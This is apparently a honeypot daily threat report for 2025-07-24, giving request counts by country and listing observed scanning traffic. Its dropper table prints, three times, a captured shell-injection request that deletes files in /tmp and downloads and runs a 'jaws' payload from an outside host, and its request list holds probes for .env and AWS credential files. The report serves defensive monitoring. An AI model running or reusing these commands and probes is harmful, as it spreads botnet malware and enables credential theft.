Table of Contents

Daily Report: 2025-07-24
#

Executive summary
#

interaction report on http service of various Hhoneypot around the world.

Executive summary
OT report simplified
Botnet dropper behaviour
List of request
List of country_iso_code

executive_summary
#

In today’s repport, we detected 3 stage 1 IP address(es), linked to 1 dropper URL(s).

There are 19 new requests that have never been observed before (these were added to the monitored request database.).

A total of 576 requests were recorded during the day, originating from 3 different countries, with a peak of 313 requests coming from US.

ot_simplified_report
#

simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.

source_country	targeted_country
US	Dubai
US	Dubai

botnet_dropper_behaviour
#

remote_addr	request
8.222.187.219	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1
8.222.177.243	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1
8.222.249.19	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1

request
#

The list of requests presented here are those that have not yet been yet integrated into the request database.

	number_of_occurence	request
202	1	GET /.aws/cognito/ HTTP/1.1
203	1	GET /.aws/policies HTTP/1.1
205	1	GET /aws-config.js HTTP/1.1
207	1	GET /.env-bot.env HTTP/1.1
208	1	GET /.env-project HTTP/1.1
209	1	GET /.env-profile HTTP/1.1
211	1	GET /.env-scripts HTTP/1.1
212	1	GET /.env.env.bak HTTP/1.1
214	1	GET /.env.prod.js HTTP/1.1
218	1	GET /.env-preview HTTP/1.1
219	1	GET /.env-secrets HTTP/1.1
224	1	\x00\x0E8\x08\xB2\x1D\x1By\xAA\x03\x95\x00\x00\x00\x00\x00
225	1	\x00\x0E\x08\x08\xB2\x1D\x1By\xAA\x03\x95\x00\x00\x00\x00\x00
248	1	GET /.aws/credentials/uploads/ HTTP/1.1
265	1	GET /.aws/api-keys HTTP/1.1
300	1	GET /aws.config.js HTTP/1.1
302	1	GET /aws/keys.json HTTP/1.1
304	1	GET /.aws/glacier/ HTTP/1.1
307	1	GET /.aws/keypairs HTTP/1.1